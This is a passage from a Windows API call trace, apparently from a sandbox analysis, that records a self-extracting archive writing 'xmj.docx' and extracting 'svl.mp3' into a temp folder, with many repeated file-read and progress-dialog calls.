wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.279] GetTickCount () returned 0x1fb00 [0068.279] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.279] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.279] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.279] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.280] GetTickCount () returned 0x1fb00 [0068.280] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.280] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.280] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.280] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.280] GetTickCount () returned 0x1fb00 [0068.280] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.280] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.280] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.280] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.280] GetTickCount () returned 0x1fb00 [0068.280] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.280] ReadFile (in: hFile=0x1c, lpBuffer=0x270434, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270434*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.280] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.280] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.280] GetTickCount () returned 0x1fb00 [0068.280] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.280] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x20b, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x20b, lpOverlapped=0x0) returned 1 [0068.281] GetTickCount () returned 0x1fb00 [0068.281] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.281] SetFilePointer (in: hFile=0x1c, lDistanceToMove=866729, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd39a9 [0068.281] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.281] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.281] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.281] CloseHandle (hObject=0x138) returned 1 [0068.282] SetFileAttributesA (lpFileName="xmj.docx", dwFileAttributes=0x20) returned 1 [0068.282] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd39a9 [0068.282] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.282] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.283] OemToCharA (in: pSrc="svl.mp3", pDst=0x179cc0 | out: pDst="svl.mp3") returned 1 [0068.283] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="svl.mp3", cchCount2=1) returned 1 [0068.283] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="svl.mp3", cchCount2=6) returned 1 [0068.283] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="svl.mp3", cchCount2=-1) returned 1 [0068.283] SetFilePointer (in: hFile=0x1c, lDistanceToMove=866773, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd39d5 [0068.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="svl.mp3") returned 8 [0068.283] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.283] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting svl.mp3") returned 18 [0068.283] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting svl.mp3") returned 1 [0068.283] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.283] OemToCharBuffA (in: lpszSrc="s", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="s") returned 1 [0068.283] CharToOemBuffA (in: lpszSrc="S", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="S") returned 1 [0068.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="svl.mp3") returned 8 [0068.283] FindFirstFileW (in: lpFileName="svl.mp3", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.283] GetLastError () returned 0x2 [0068.283] GetFileAttributesA (lpFileName="svl.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svl.mp3")) returned 0xffffffff [0068.283] CreateFileA (lpFileName="svl.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svl.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.297] GetFileType (hFile=0x138) returned 0x1 [0068.297] SetFilePointer (in: hFile=0x138, lDistanceToMove=662, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x296 [0068.297] SetEndOfFile (hFile=0x138) returned 1 [0068.297] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.297] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x212, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x212, lpOverlapped=0x0) returned 1 [0068.297] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.297] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.297] GetTickCount () returned 0x1fb10 [0068.297] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.297] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.297] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.297] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.297] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.298] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.298] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.298] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.298] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.298] GetTickCount () returned 0x1fb10 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.299] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.299] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.299] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.299] GetTickCount () returned 0x1fb10 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.299] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.299] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.299] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.299] GetTickCount () returned 0x1fb10 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.299] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.299] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.299] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.299] GetTickCount () returned 0x1fb10 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.299] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.299] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.299] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.299] GetTickCount () returned 0x1fb10 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.299] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.299] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.299] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.299] GetTickCount () returned 0x1fb10 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.299] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.299] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.299] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.299] GetTickCount () returned 0x1fb20 [0068.299] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 1 [0068.299] GetMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x171590) returned 1 [0068.299] TranslateMessage (lpMsg=0x171590) returned 0 [0068.299] DispatchMessageW (lpMsg=0x171590) returned 0x0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, 